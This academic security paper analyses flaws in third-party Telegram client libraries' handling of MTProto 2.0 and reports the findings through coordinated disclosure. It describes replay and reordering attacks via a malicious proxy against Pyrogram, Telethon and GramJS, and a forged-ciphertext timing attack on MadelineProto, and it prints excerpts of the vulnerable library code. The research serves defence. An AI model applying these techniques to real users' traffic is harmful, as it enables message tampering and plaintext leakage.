

On the Cryptographic Fragility of the Telegram Ecosystem

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Abstract—Telegram is a popular messenger with more than 550 million monthly active users and a large ecosystem of different clients. Telegram has its own bespoke transport layer security protocol, MTPROTO 2.0. This protocol was recently subjected to a detailed study by Albrecht et al. (IEEE S&P 2022). They gave attacks on the protocol and its implementations, along with a security proof for a modified version of the protocol. We complement that study by analysing a range of third-party client implementations of MTPROTO 2.0. We report practical replay attacks for the Pyrogram, Telethon and GramJS clients, and a more theoretical timing attack against the MadelineProto client. We show how vulnerable third-party clients can affect the security of the entire ecosystem, including official clients. Our analysis reveals that many third-party clients fail to securely implement MTPROTO 2.0. We discuss the reasons for these failures, focussing on complications in the design of MTPROTO 2.0 that lead developers to omit security-critical features or to implement the protocol in an insecure manner. We also discuss changes that could be made to MTPROTO 2.0 to remedy this situation. Overall, our work highlights the cryptographic fragility of the Telegram ecosystem.

1. Introduction

Messenger services have become an indispensable tool to billions of people. Telegram is one of the most popular messenger services: Telegram reached 500M monthly active users in January 2021 [1] and 550M by October 2021 [2], making it the fifth most popular messenger service globally. Telegram is not only popular for everyday messaging, but is also widely used by activists and political protestors for group organization [3].

Telegram’s increasing popularity has recently drawn the attention of the cryptographic community. Of particular interest is Telegram’s transport protocol MTPROTO which acts as the equivalent to the TLS record protocol and is the only security mechanism protecting messages in transit between Telegram servers and clients. Prior work has shown multiple attacks against an earlier version of MTPROTO [4, 5]. In a recent paper, Albrecht et al. [6] presented the first in-depth analysis of MTPROTO 2.0. Their work had two complementary aspects. First they showed four different attacks, two of them at the protocol specification level, and two against specific MTPROTO 2.0 implementations in official clients. Second, they provided a cryptographic proof of security of a

slightly modified version of MTPROTO 2.0, albeit under previously unstudied cryptographic assumptions. Altogether, [6] has substantially increased our understanding of the security of Telegram’s core MTPROTO 2.0 protocol.

As opposed to other chat platforms such as WhatsApp, the source code of Telegram’s official clients is publicly available (though the server source code is not). Furthermore, Telegram allows and encourages developers to implement and deploy custom clients: the Telegram web pages provide detailed information about the server APIs [7], the MTPROTO 2.0 protocol [8], and the custom schema used [9]. Consequently, there is a flourishing implementation ecosystem around Telegram. The number of available clients and libraries as well as their popularity is hard to estimate, but Telegram already lists 13 clients on the official webpage [10].

Another vital part of the Telegram ecosystem are bots which can interact with other services such as email, YouTube, payments, and games. Therefore, Telegram cannot be regarded as an isolated platform with the sole purpose of exchanging text messages. Rather, it is developing towards being a system that connects multiple, different services and offers users a simple way of interaction. Clearly, this further underlines the importance of having a correctly implemented, secure protocol at its core.

The vulnerabilities in MTPROTO 2.0 in various official clients highlighted in [6] suggest that third-party implementations of MTPROTO 2.0 might also contain security flaws. It is plausible that these flaws might be more severe than those presented in [6], given the unregulated nature of the ecosystem and the well-documented propensity of non-expert developers to make mistakes when implementing complex cryptographic protocols. Moreover, the diverse and complex collection of available Telegram clients and libraries potentially opens new attack vectors: vulnerable third-party clients could be used to harm users of official clients. Consequently, the ease with which secure implementations of MTPROTO 2.0 can be built is essential to the security of the entire ecosystem.

1.1. Contributions

In this paper, we present multiple attacks against third-party Telegram client implementations of MTPROTO 2.0. We show how vulnerabilities in third-party clients affect the security of the entire ecosystem. While the attacks are not

particularly novel from a technical perspective, we consider their presence to be surprising. We explain how certain design choices in MTPProto 2.0 make implementations prone to errors and open these implementations up to known attack vectors.

Our first contribution, presented in Section 4, is a replay attack against two Python libraries (Pyrogram, Telethon) and a JavaScript library (GramJS). The vulnerabilities arise from those implementations failing to implement a set of checks on the message ID field that are required in the Telegram documentation for client developers. These checks are designed to ensure that every message is processed exactly once. We describe a practical replay attack for exemplary clients in a real-world setting. The vulnerable Python libraries Pyrogram and Telethon are quite popular: by the time of writing they have 2.4K and 6.2K stars on GitHub, respectively, and are, according to GitHub, used by 39.2K and 25.9K other projects, respectively. While GramJS is less popular (379 stars), it is used in one of the official clients (Telegram Web Z). Due to its use of WebSockets over TLS 1.3, Telegram Web Z was not vulnerable to the replay attack.

As a second contribution, we present in Section 5 a timing side-channel attack against MTPProto 2.0 decryption in the PHP library MadelineProto. The attack is similar to the one described in [6], but differs in its details to match our specific target. It exploits the way in which the encrypt-and-MAC scheme employed by MTPProto 2.0 is implemented in MadelineProto: the code does not check the integrity of the plaintext directly after decryption, but first performs sanity checks on the unauthenticated plaintext and only then checks integrity. Notably, this approach ignores advice aimed at developers in the Telegram security guidelines [11].

Depending on the input, the message processing time differs significantly. This allows an attacker to learn some parts of the plaintext. We evaluate the timing differences that arise, implement the attack in a synthetic setting, and evaluate the attack’s limitations. We consider the attack to be mostly of theoretical interest: for an arbitrary target block m_i , the attacker has to know the previous plaintext block m_{i-1} as well as m_1 which contains the 64-bit values `server_salt` and `session_id`. As noted in [6], it is indicated in the Telegram protocol description [12] that these values are not intended to be treated as sensitive values, and it is possible they could be revealed in future implementations. On the other hand, the attack in [6] that enables the attacker to learn them by attacking the MTPProto 2.0 key exchange protocol is likely not to be possible any longer due to server-side changes made by Telegram.

We discuss how these vulnerabilities in third-party clients affect the security of the entire Telegram ecosystem: security issues arise because of the flexibility with which Telegram can be used, and these issues go beyond pure messaging applications.

As a third contribution, in Section 6 we address a more fundamental question: how can security be guaranteed in a proliferating ecosystem? This question is prompted by the vulnerabilities in several official clients noted in [6] and the

new ones we report here. The replay and reordering attacks are examples of fundamental, yet easy-to-defend-against attacks on a protocol level. The reported issues do therefore collectively indicate that Telegram’s MTPProto 2.0 protocol is hard to implement in a secure manner. Specifically, we highlight two design choices that hinder secure implementation: the use of encrypt-and-MAC and the complex checks on the message ID field. We suggest how to simplify these design choices and lower the implementation hurdles for developers.

Telegram presents yet another example of the challenges of ensuring security in an open ecosystem. In this sense, the situation is broadly analogous to what we have seen over the last decade in the spheres of mobile banking [13], SSL/TLS [14, 15, 16], certificate validation [17], and (at a much lower level) primality testing [18]. Indeed, the problem of building a secure communications channel is an ancient one that is by now well-understood at a theoretical level by the research community. Yet it is a largely open problem in the cryptographic community – interpreted broadly, to include both researchers and developers – to find ways of ensuring that this theoretical understanding is properly translated into practice. The problems arise at multiple levels: at the lowest level of ensuring that strong cryptographic algorithms are used, to the middle level of ensuring that these algorithms are combined in suitable ways to build more complex systems like secure channels, to the highest level, of ensuring that a protocol specification is simple enough that it can be securely implemented in an ecosystem populated with developers without cryptographic expertise.

1.2. Disclosure

We informed the maintainers of the vulnerable libraries about our findings in the week of 20 November 2021 by e-mail, proposing a standard 90-day disclosure window. In each case, as well as explaining the discovered vulnerabilities, we also recommended fixes and highlighted the missing checks.

MadelineProto’s developer informed us that as of version 6.0.118 the timing side-channel vulnerability was fixed. Shortly after the release 6.0.118, MadelineProto rolled out the major update 7.0 which is declared mandatory for all MadelineProto users.

The maintainer of GramJS fixed the replay vulnerability inversion 1.11.1, but without giving any notice of the issue to users of GramJS. We also informed Telegram’s security team about the vulnerability in GramJS, since it is used in the official client Telegram Web Z. We were informed that Telegram Web Z uses the latest version of GramJS including the fix for the vulnerability we disclosed. Telegram awarded a bug bounty.

The maintainer of Telethon confirmed receipt of our disclosure e-mail. Since the vulnerability was not fixed by the end of the 90-day disclosure window, we offered our help in another e-mail and informed the maintainer that we would publicly disclose the vulnerability. As we did not

receive an answer, we then opened a public GitHub issue in which we described the attack. At the time of writing, the issue is still open and remains unaddressed [19].

The maintainer of Pyrogram deployed the security fixes in version 1.3. The vulnerability is mentioned in the release notes and all users are strongly encouraged to update.

During our research, we analysed six more clients and libraries for similar kinds of vulnerability: Kotatogram-Desktop, Nicegram, Telegram React, Telegram Web K, Telegram Web Z, Telegram-FOSS, and Unigram. However, we did not find any further vulnerabilities in these clients.

2. Preliminaries

We closely follow the conventions and definitions of [6], but removing complexity that is unnecessary for our presentation.

For any string $x \in \{0, 1\}^*$, let $|x|$ denotes its bit-length, $x[i]$ denote its i -th bit for $0 \leq i < |x|$, and $x[a : b] = x[a] \dots x[b - 1]$ for $0 \leq a < b \leq |x|$. Furthermore, let $x[a :] = x[a : |x|]$ and $x[: b] = x[0 : b]$. For two strings $x, y \in \{0, 1\}^*$, we define $x|y$ as their concatenation. In algorithms, let $x \leftarrow v$ denote the assignment of the value v to a variable x .

2.1. IGE block cipher mode of operation

Let $E : \{0, 1\}^k \times \{0, 1\}^b \rightarrow \{0, 1\}^b$ be a block cipher with k -bit key and b -bit block. We write $E_K(P)$ to denote the block cipher operation on b -bit plaintext block P with k -bit key K . Let the Infinite Garble Extension (IGE) mode of operation be defined with encryption and decryption as in Algorithms 1 and 2, respectively. A visualization of the decryption can be seen in Fig. 1. The inputs to the algorithms are the secret key K , the initialization vectors (IVs) m_0 and c_0 , and the plaintext m , respectively the ciphertext c .

We require that the plaintext m and the ciphertext c have a size divisible by the block length b . For a bit string x we write $x = x_1 || \dots || x_n$ such that $\forall i |x_i| = b$ to indicate the different blocks of x . Here, we implicitly set $n = \frac{|x|}{b}$.

Algorithm 1 IGE[E].Enc(K, m_0, c_0, m)

- 1: **for** $i = 1, \dots, n$ **do**
 - 2: $c_i \leftarrow E_K(m_i \oplus c_{i-1}) \oplus m_{i-1}$
 - 3: **return** $c_1 || \dots || c_n$
-

Algorithm 2 IGE[E].Dec(K, m_0, c_0, c)

- 1: **for** $i = 1, \dots, n$ **do**
 - 2: $m_i \leftarrow E_K^{-1}(c_i \oplus m_{i-1}) \oplus c_{i-1}$
 - 3: **return** $m_1 || \dots || m_n$
-

We further define the AES-256-IGE symmetric encryption: we let E be the Advanced Encryption Standard (AES) block cipher with block length $b = 128$ and key length




Figure 1: IGE decryption with $c_0 = IV_c$ and $m_0 = IV_m$.

$k = 256$ as defined in [20]. Then let AES-256-IGE describe the symmetric encryption and decryption as defined in Algorithms 1 and 2.

2.2. Attack scenario and targets

For all of our attacks, we consider the active person-in-the-middle (PitM) scenario: the attacker is able to arbitrarily drop, reorder and inject TCP messages. The attacker only sees the encrypted MTProto 2.0 packets but can compose arbitrary (potentially invalid) ciphertexts and send those to the client.

This scenario is indeed realistic: first, TCP does not provide any security guarantees against malicious modification of TCP packets. Second, the requirements can be relatively easily fulfilled in a real world setting, e.g., by seducing the victim to use a malicious Wi-Fi access point [21].

The attacker’s goal is twofold: for the replay attack in Section 4, the attacker wants to alter the meaning of a conversation for at least one participant. For the timing side-channel attack in Section 5, the attacker’s goal is to learn some bits of the target plaintext.

Tables 1 and 2 show the complete set of clients and libraries that we analysed in this work for the vulnerabilities mentioned above. The analysis was done by looking at the source code and – in case of vulnerabilities – by exploiting them in a simulated environment.

TABLE 1: Analysed clients. “★” denotes the number of stars on GitHub and is a rough indicator for the popularity. Clients marked with “*” are officially supported by Telegram.

Name	★	Upstream	Library
Kotatogram-Desktop	542	Telegram Desktop	-
Nicegram	297	Telegram-iOS	-
Telegram React	1.8K	-	TDLib
Telegram Web K*	449	-	-
Telegram Web Z*	1.1K	-	GramJS
Telegram-FOSS	1.6K	Telegram (Android)	-
Unigram	2K	-	TDLib

TABLE 2: Analysed libraries. “★” denotes the number of stars on GitHub and is a rough indicator of the popularity. “Used by” indicates the number of projects on GitHub which depend on the library. For TDLib this number is not available. The only officially supported library (marked with “*”) is TDLib.

Name	★	Used by	Language
GramJS	379	580	JavaScript
MadelineProto	1.9K	167	PHP
Pyrogram	2.4K	39.2K	Python
TDLib*	4.5k	-	C++
Telethon	6.2K	25.9K	Python

3. Description of the symmetric part of MTProto 2.0

We have chosen to focus messages in *cloud chats* which are the default setting in Telegram and are, according to Telegram’s founder Pavel Durov, “designed for the majority of users” [22]. End-to-end encrypted *secret chats* are, in contrast to cloud chats, not available in all official clients [23].

The messages in cloud chats are not end-to-end encrypted but only encrypted between the server and the client. We focus on the symmetric part of MTProto 2.0 as described in [12]. The symmetric part of MTProto 2.0 is Telegram’s equivalent to the TLS record protocol. We refer to [12] for a detailed description of the asymmetric part.

MTProto 2.0 aims to guarantee security for application layer messages. The reliable transport protocol TCP is specified for transport of MTProto 2.0. While the unreliable transport protocol UDP is listed as another option, it is neither further specified nor does it seem to be used in any implementations [8]. We stress, that TCP (as well as UDP) cannot provide any security guarantees and therefore – without any further defence mechanisms such as TLS or MTProto 2.0 – the payload can be arbitrarily manipulated. Furthermore, MTProto 2.0 specifies optional transport obfuscation which mainly aims to bypass censorship and does not increase the security on a cryptographic level. There are more options available for transport such as HTTPS or WebSockets over TLS which involve another layer of encryption. However, the security of MTProto 2.0 cannot rely on the presence of such additional layers since they are only optional or available in certain settings.

3.1. MTProto 2.0 Encryption

The payload p of a MTProto 2.0 message consists of the fields described in Table 3. The `server_salt` and the `session_id` in the first block are identifiers that are valid for multiple messages in a given time period respectively in the same session. The second block contains metadata with validity limited to the given message. Finally, the remaining blocks contain the actual message data and random padding with size between 12 B to 1004 B.

For a given plaintext m with blocks $m_1||m_2||\dots||m_n$, we denote the values obtained by parsing m into the fields

TABLE 3: MTProto payload format [6]. The horizontal lines mark the boundaries of the 128 bit blocks.

Field	Type	Description
<code>server_salt</code>	<code>int64</code>	Server-generated random number valid in a given time period.
<code>session_id</code>	<code>int64</code>	Client-generated random identifier of a session under the same <code>auth_key</code> .
<code>msg_id</code>	<code>int64</code>	Time-dependent identifier of a message within a session. Approximately equal to Unix time multiplied by 2^{32} .
<code>msg_seq_no</code>	<code>int32</code>	Message sequence number.
<code>msg_length</code>	<code>int32</code>	Length of <code>msg_data</code> in bytes.
<code>msg_data</code>	<code>bytes</code>	Actual body of the message.
<code>padding</code>	<code>bytes</code>	12 - 1024B of random padding.

defined in Table 3 as `server_salt`(m_1), `session_id`(m_1), `msg_id`(m_2), `msg_seq_no`(m_2), `msg_length`(m_2), as well as the remaining `msg_data`($m_3||\dots||m_n$) and `padding`($m_3||\dots||m_n$), respectively.

After the asymmetric key establishment, the server and the client have established a common secret: the `auth_key`. It is used to derive the `auth_key_id`, the `msg_key`, and the final ciphertext c . The encryption is visualised in Fig. 2 and explained in the following lines. Let $x = 0$ for messages sent by the client and $x = 64$ for messages sent by the server.

The hash of `auth_key` is computed as

$$\text{auth_key_id} := \text{SHA-1}(\text{auth_key})[96 : 160] \quad (1)$$

and used to uniquely identify an authorization key for both the server and the client.

The message authentication code (MAC) of the payload p is computed as

$$h := \text{SHA-256}(\text{auth_key}[704 + x : 960 + x]||p) \quad (2)$$

$$\text{msg_key} := h[64 : 192] \quad (3)$$

and allows the receiver to verify that the sent plaintext was not tampered with. The `auth_key_id` and the `msg_key` are sent in plain as external headers. Together with the `auth_key`, the `msg_key` is used as an input to the key derivation function (KDF) to compute the key and the IV for the symmetric encryption (SE):

$$A := \text{SHA-256}(\text{msg_key}||\text{auth_key}[x : 288 + x]) \quad (4)$$

$$B := \text{SHA-256}(\text{auth_key}[320 + x : 608 + x]||\text{msg_key}) \quad (5)$$

$$\text{key} := A[0 : 64]||B[64 : 192]||A[192 : 256] \quad (6)$$

$$\text{iv} := B[0 : 64]||A[64 : 192]||B[192 : 256] \quad (7)$$

Finally, the encrypted data c is computed using AES-256 in IGE mode:

$$c := \text{AES-256-IGE}(\text{key}, \text{iv}, p). \quad (8)$$




Figure 2: Overview of message processing in MTProto 2.0. Note that only parts of `auth_key` are used in MAC and KDF. This figure is a modified copy from [6].

3.2. Required checks on metadata

When receiving a message, the client has to perform the following checks, according to [11]:

- (C1) Directly after decryption, the client must check that `msg_key` be equal to the SHA-256 hash of the plaintext. To prevent timing side-channel attacks, this check has to be done independently of any previous errors that may have arisen.
- (C2) The client must check that `msg_length` be not bigger than the total size of the plaintext. The size of the padding is computed as the difference between the total size of the plaintext and `msg_length` and has to be within the range from 12 B to 1024 B. The `msg_length` has to be divisible by four and non-negative.
- (C3) The client must check that the `session_id` in the decrypted message is equal to the one of an active session.
- (C4) The client must check the validity of `msg_id`:
 - (C4.1) The client must check that `msg_id` is odd.
 - (C4.2) The client must store the `msg_id` of the last N received messages. Here, the value of N is not specified [11].¹ The client must check that an incoming `msg_id` is not smaller than all N stored message IDs and that `msg_id` is not already stored.
 - (C4.3) Furthermore, the client must ignore `msg_id` values which are more than 30 seconds in the future or more than 300 seconds in the past.

In case of a failure, the client has to discard the message and should close and re-establish the TCP connection to the server.

1. Official implementation use different values: Telegram Desktop [24] uses $N = 400$, TDLib [25] uses $N = 2000$.

4. Replay attack

4.1. Description of the vulnerability

In a *replay attack*, an attacker can resend certain messages and fool the receiver into believing that both messages originate from the sender. While the attacker cannot read the messages, it is a simple yet powerful attack to modify conversations. By leveraging patterns in communication and stereotypical message lengths (only partially hidden by variable-length padding), the attacker can decide which messages to target, improving the effectiveness of such an attack [26]. Here, we omit these fingerprinting steps and focus on demonstrating the general feasibility of a replay attack.

To prevent against replay attacks in MTProto 2.0, receivers must perform the check (C4.2) discussed in Section 3.2. Namely, the receiver has to ensure that no two messages with the same `msg_id` are processed. During our analysis we discovered that the following third-party libraries miss the relevant checks: the Python libraries Pyrogram [27] and Telethon [28], as well as the JavaScript library GramJS [29]. The relevant code snippets can be seen in Listings 1 to 3. Pyrogram only checks that the `msg_id` is odd. Telethon and GramJS do not even check this. Furthermore, Telethon and GramJS both include comments that hint at the missing checks.

While Pyrogram and Telethon appear to be independent projects, the core of GramJS is completely based on Telethon. The relevant lines in the code only differ in syntax. Table 2 shows the popularity of the libraries on GitHub. Even though GramJS is not that popular, it is used by one of Telegram’s official web clients, Telegram Web Z [33].

An attacker can perform a replay attack against a client using any one of these three libraries: the attacker records an encrypted message from the server to the client and replays it at a later point in time. Both messages will appear valid to the victim.

4.2. Attack implementation

To experimentally verify the presence of the vulnerability, we implemented clients using the libraries above (c.f. Listings 5 to 7 in Appendix A). To exploit the attack we configure the clients to route all traffic to a local proxy server. For the proxy server, we use mitmproxy [34] with the add-on shown in Listing 8 to easily record and replay specific TCP packets. Instead of injecting additional TCP packets we replace the content of every second TCP packet containing a text message with the previous one. This facilitates the attack since we neither have to update all TCP sequence numbers, nor do we need to handle additional acknowledgement packets.

Figure 3 illustrates the attack: the sender Alice sends two different messages which arrive correctly at the Telegram server. The Telegram server decrypts, re-encrypts and forwards the messages to the proxy to which Bob is connected. The malicious proxy is run by the attacker Mallory. Mallory

Listing 1: `mtproto.py`. Message processing in Pyrogram [30]. Modified for readability.

```

1 def unpack(b: BytesIO, session_id: bytes, auth_key
2   : bytes, auth_key_id: bytes) -> Message:
3   # [...]
4   data = BytesIO(aes.ige256_decrypt(b.read(),
5     aes_key, aes_iv))
6   # [...]
7   message = Message.read(data)
8   # [...]
9   # https://core.telegram.org/mtproto/
10  security_guidelines#checking-msg-id
11  assert message.msg_id % 2 != 0
12  return message

```

Listing 2: `mtprotostate.py`. Message processing in Telethon [31]. Modified for readability.

```

1 def decrypt_message_data(self, body):
2   # TODO Check salt, session_id and
3   sequence_number
4   # [...]
5   body = AES.decrypt_ige(body[24:], aes_key,
6     aes_iv)
7   # [...]
8   reader = BinaryReader(body)
9   reader.read_long() # remote_salt
10  if reader.read_long() != self.id:
11    raise SecurityError('Wrong session ID')
12  remote_msg_id = reader.read_long()
13  remote_sequence = reader.read_int()
14  reader.read_int() # msg_len
15  obj = reader.tgread_object()
16  return TLMessage(remote_msg_id,
17    remote_sequence, obj)

```

Listing 3: `MTPProtoState.ts`. Message processing in GramJS [32]. Modified for readability.

```

1 async decryptMessageData(body: Buffer) {
2   // [...]
3   // TODO Check salt,sessionId, and
4   sequenceNumber
5   const keyId = helpers.readBigIntFromBuffer(
6     body.slice(0, 8));
7   // [...]
8   body = new IGE(key, iv).decryptIge(body.slice
9     (24));
10  // [...]
11  const reader = new BinaryReader(body);
12  reader.readLong(); // removeSalt
13  const serverId = reader.readLong();
14  if (serverId !== this.id) {
15    // throw new SecurityError('Wrong session
16    ID');
17  }
18  const remoteMsgId = reader.readLong();
19  const remoteSequence = reader.readInt();
20  reader.readInt(); // msgLen
21  // [...]
22  const obj = reader.tgReadObject();
23  return new TLMessage(remoteMsgId,
24    remoteSequence, obj);
25 }

```




Figure 3: Overview of the replay attack. The symbols “✉” and “✉” denote two different messages.

records the first message (✉) and replaces the TCP payload of the second packet (✉) with the recorded message. Hence, Bob receives the same message twice.

The attack was successful against all three of the tested libraries. However, the attack does not apply to Telegram Web Z. The reason is, that Telegram Web Z uses WebSockets over TLS 1.3 for the transport layer. Hence, MTPProto 2.0 is run on top of TLS 1.3. While the implementation of MTPProto 2.0 cannot prevent replay attacks, this is – luckily – done by TLS 1.3.

Not all clients which use a vulnerable library are automatically vulnerable to the replay attack. As messages come with an integrity-protected time-stamp that is set by the Telegram server, some clients then use this time-stamp to store the message in an internal data structure that allows only one message with a given time-stamp. Hence, a replayed message is not displayed twice. Nevertheless, the security of a library should not depend on requirements that are not specified.

We stress that the attack only applies for messages sent from the Telegram server to a vulnerable client. The attacker cannot replay messages sent by a vulnerable client since the Telegram servers correctly defend against replay attacks.

4.3. Wider impacts of replay attacks

The attack is even more powerful when a vulnerable library is used to implement the control of, e.g., a server. Telminal [35] is such a program based on Telethon. Instead of sending commands over a Secure Shell (SSH), the user sends the commands over Telegram messages. If the user for example sends the command to remove the first entry of a database, the attacker can flush the entire database by repeatedly replaying the command. While Telminal is currently a niche application (only 20 stars on GitHub), it illustrates a potential future attack vector.

Other interesting settings include message forwarding from Telegram to WhatsApp and vice versa [36] (based on

GramJS), cryptocurrency trading [37] (based on GramJS), as well as bots that broadcast a received message [38] (based on Pyrogram). In the broadcast setting, the client automatically wraps the received message content into a new message and broadcasts it via the Telegram server to multiple receivers. Since all messages appear to be new and independent of the previous ones, all clients will accept them and process them normally. In particular, there is no cryptographic defence that allows the clients receiving the broadcast message to recognize that an attacker has replayed the original message.

While not tested in practice, these examples show that the mere possibility of interaction of a vulnerable client with other clients translates the security risk of a vulnerable third-party client to the entire Telegram ecosystem, including official clients. Consequently, Telegram has a strong interest to improve the security of third-party clients.

4.4. A note on reordering attacks

In a *reordering attack*, the attacker aims to modify the order of the received messages. The attack is similar to the replay attack: record and hold back the first message, let the second message pass and finally release the withheld message. Again, the meaning of a conversation can be significantly altered.

We tested this attack against Pyrogram, Telethon, and GramJS. All of them are vulnerable to the reordering attack as well. The used add-on for mitmproxy is shown in Listing 9.

A reordering attack is generally considered a serious weakness and similar protocols such as TLS or the Signal messaging protocol successfully defend against this type of attack. However, this vulnerability is *not* a violation of the security guarantees specified by [11]: unless $N = 1$, the check (C4.2) on the `msg_id` does not force message IDs to be strictly monotonically increasing and therefore messages can be processed out of order [6]. As noted by [6], the reordering vulnerability is inherent to the cryptographic specification and is in official Telegram clients only defended against at the application level.

While Telegram could argue that reordering attacks are not a concern because official clients are effectively not vulnerable to them, the argument does not hold for library implementations. The implementer of the library simply cannot know how their library will be used by applications. Hence, assuming the library provides a reasonable amount of flexibility to its users, no general security guarantees that rely on the application level can be given. This shows that the reordering attack should be defended against by MTPProto 2.0 itself.

5. Timing side-channel attack on MadelineProto

The fact that three official Telegram clients were found to be vulnerable to a timing side-channel attack in [6] led

us to suspect that some third-party clients and libraries might be vulnerable to a similar attack. In fact, aside from MadelineProto, none of the implementations of MTPProto 2.0 listed in Tables 1 and 2 were found to be vulnerable to a timing side-channel attack.

In the remainder of this section, we focus on MadelineProto. We first recapitulate the core idea of the attack from [6], and then explain in depth how our adaptation of this attack to MadelineProto functions.

5.1. Attack idea

For a given ciphertext $c_1 || \dots || c_n$ corresponding to an unknown plaintext $m_1 || \dots || m_n$ and an arbitrary target block m_i with $2 \leq i \leq n$, the attacker’s goal is to learn some bits of m_i . For a successful exploit of the timing side-channel attack, we need additional assumptions on the knowledge of the attacker. Specifically, the attacker needs to know both m_1 and m_{i-1} .

Recall that in MTPProto 2.0, m_1 contains the `server_salt` and `session_id` fields. While these were not intended to be secrets, nor are they sent in plaintext at any point in the protocol. The more complex attack on the MTPProto 2.0 key exchange protocol described in Section F of [6] allows an attacker to learn `server_salt` and `session_id`. Even though this attack is hard and likely not possible any longer due to server-side changes by Telegram, there might be a successful attack against m_1 in the future. An additional argument in favour of assuming m_1 is known is that the security of a secure channel protocol like MTPProto 2.0 should not rest on maintaining the confidentiality of a specific plaintext block: the design goal of such a protocol should be to protect all of the plaintext data all of the time.

The requirement for the attacker to know m_{i-1} , the plaintext block preceding the target block, is a weaker one. This is because general plaintext blocks often contain stereotypical values. Consider for example the situation where $m_{i-1} = \text{“Today’s password”}$ and $m_i = \text{“is SECRET”}$. In general, we consider this assumption to be realistic.

The attacker then creates a two-block ciphertext $c_1 || c^*$ with $c^* = c_i \oplus m_{i-1} \oplus m_1$. The decryption of this ciphertext is $m_1 || m^*$ where:

$$m^* = E_K^{-1}(c^* \oplus m_1) \oplus c_1 \quad (9)$$

$$= E_K^{-1}(c_i \oplus m_{i-1}) \oplus c_1 \quad (10)$$

$$= m_i \oplus c_{i-1} \oplus c_1. \quad (11)$$

Consequently, if there is a side-channel that allows an attacker to learn some bits of the second block (containing m^*), then the attacker can learn the corresponding bits of m_i by using Eq. (11). The key insight from [6] is that this second block is interpreted as containing the packet length field, and that field may be sanity checked prior to the MTPProto 2.0 MAC being verified. The success or failure of the sanity checking may be visible through timing behaviour of the client, so leaking some information about m^* , and hence about m_i .

5.2. MadelineProto

MadelineProto is a PHP library that implements a MTProto 2.0 client. The library is officially listed on Telegram's webpage as an exemplary implementation [8]. The library can be used for multiple purposes including voice over IP (VoIP) webradio, downloading files and controlling a server [39].

5.2.1. Message processing. When receiving a packet, MadelineProto processes it as follows (c.f. Listing 4):

- 1) Check whether received `auth_key_id` matches the computed one.
- 2) Reduce the ciphertext such that its size is a multiple of 16 B.
- 3) Decrypt the ciphertext.
- 4) Check the `session_id` according to (C3).
- 5) Check the `msg_id` mostly following (C4), see [40].
- 6) Check the validity of the packet length according to (C2). Here, the padding size is computed as the difference between the length of the ciphertext and `msg_length`.
- 7) Check the integrity of the decrypted data (C1) by comparing the received `msg_key` with the computed one.

The reduction of the ciphertext to a multiple of 16 B by removing at most 15 B is a leftover from the implementation of a previous version of MTProto.² The restriction of ciphertexts being a multiple of 16 B arises from the use of AES with block size 16 B. However, instead of this reduction, the client could directly reject a malformed message since it must have been tampered with.³

The operations between decryption at step 3 and the integrity check at step 7 in MadelineProto are carried out on unauthenticated data. Thus, an attacker can supply a forged ciphertext with a valid `auth_key_id` and `session_id` which will be processed until a failure occurs. Consequently, if the attacker can differentiate between different failure types, it can tell whether the checks on the packet length field (C2) executed at step 6 have passed or failed. Since the packet length field is contained in the second plaintext block, and this can be replaced by $m^* = m_i \oplus c_{i-1} \oplus c_1$ in the attack, the success or failure of these checks may allow the attacker to learn some bits of the targeted message m_i .

As we show in the next section, the difference between a failure in a `msg_id`, `msg_length` and a `msg_key` are indeed observable by measuring the client's processing time. Not only does the processing time differ for different failure types, but the TCP connection is re-established as well.

2. This leads to a trivial attack in the indistinguishability under chosen ciphertext attack (IND-CCA) model! The adversary can trivially extend a challenge ciphertext with random bits of its choice to make a new ciphertext, and then submit it for decryption. While theoretically interesting, this does not lead to a practical attack against MTProto 2.0.

3. This is a special case where the early abortion and the skipped computation of `msg_key` do not allow an attacker to learn new information about the plaintext.

Listing 4: Message processing in MadelineProto [41]. Modified for readability. `$seq_no` and `$message_data_length` correspond to `msg_seq_no` and `msg_length` respectively.

```
1 public function readMessage(): \Generator {
2     # [...]
3     $auth_key_id = yield $buffer->bufferRead(8);
4     # [...]
5     if ($auth_key_id === $shared->getTempAuthKey()->
6         getID()) {
7         # [...]
8         $encrypted_data = yield $buffer->bufferRead(
9             $payload_length - 24);
10        $protocol_padding = \strlen($encrypted_data) %
11            16;
12        if ($protocol_padding) {
13            $encrypted_data = \substr($encrypted_data,
14                0, -$protocol_padding);
15        }
16        $decrypted_data = Crypt::igeDecrypt(
17            $encrypted_data, $aes_key, $aes_iv);
18        # [...]
19        $message_id = \substr($decrypted_data, 16, 8);
20        $connection->msgIdHandler->checkMessageId(
21            $message_id, ['outgoing' => false, '
22                container' => false]);
23        $seq_no = \unpack('V', \substr($decrypted_data
24            , 24, 4))[1];
25
26        $message_data_length = \unpack('V', \substr(
27            $decrypted_data, 28, 4))[1];
28        if ($message_data_length > \strlen(
29            $decrypted_data)) {
30            throw new \SecurityException('
31                message_data_length is too big');
32        }
33        if (\strlen($decrypted_data)-32-
34            $message_data_length < 12) {
35            throw new \SecurityException('padding is
36                too small');
37        }
38        if (\strlen($decrypted_data)-32-
39            $message_data_length > 1024) {
40            throw new \SecurityException('padding is
41                too big');
42        }
43        if ($message_data_length < 0) {
44            throw new \SecurityException('
45                message_data_length not positive');
46        }
47        if ($message_data_length % 4 != 0) {
48            throw new \SecurityException('
49                message_data_length not divisible by 4
50                ');
51        }
52        $message_data = \substr($decrypted_data, 32,
53            $message_data_length);
54        if ($message_key != \substr(\hash('sha256', \
55            substr($shared->getTempAuthKey()->
56                getAuthKey(), 96, 32).$decrypted_data,
57            true), 8, 16)) {
58            throw new \SecurityException('msg_key
59                mismatch');
60        }
61    }
62    # [...]
63 }
```


However, failure does not force a re-establishment of the MTProto session, so the keys, the `server_salt` and the `session_id` stay the same. Hence, many forged ciphertexts can be sent in a single attack against a single target ciphertext block c_i , and these ciphertexts will all be decrypted and further processed in the same way. So, many decryption trials can be executed against a single target c_i , allowing noise in the timing measurements to be averaged out and the timing signal to be amplified.

In turn, this makes it easier for an attacker to determine the cause of failure, and hence determine whether checks on the packet length field have passed or failed. Finally, by executing enough trials, this makes it theoretically possible to recover some bits of m_i in a reliable way. This contrasts with the more common situation in such timing attacks (e.g. for Lucky 13 [42]) where each error leads to a session termination and keys being thrown away – in such a situation, each target ciphertext block can only be tested once, requiring the introduction of an additional assumption, namely that the same plaintext target m_i is repeated across many sessions.

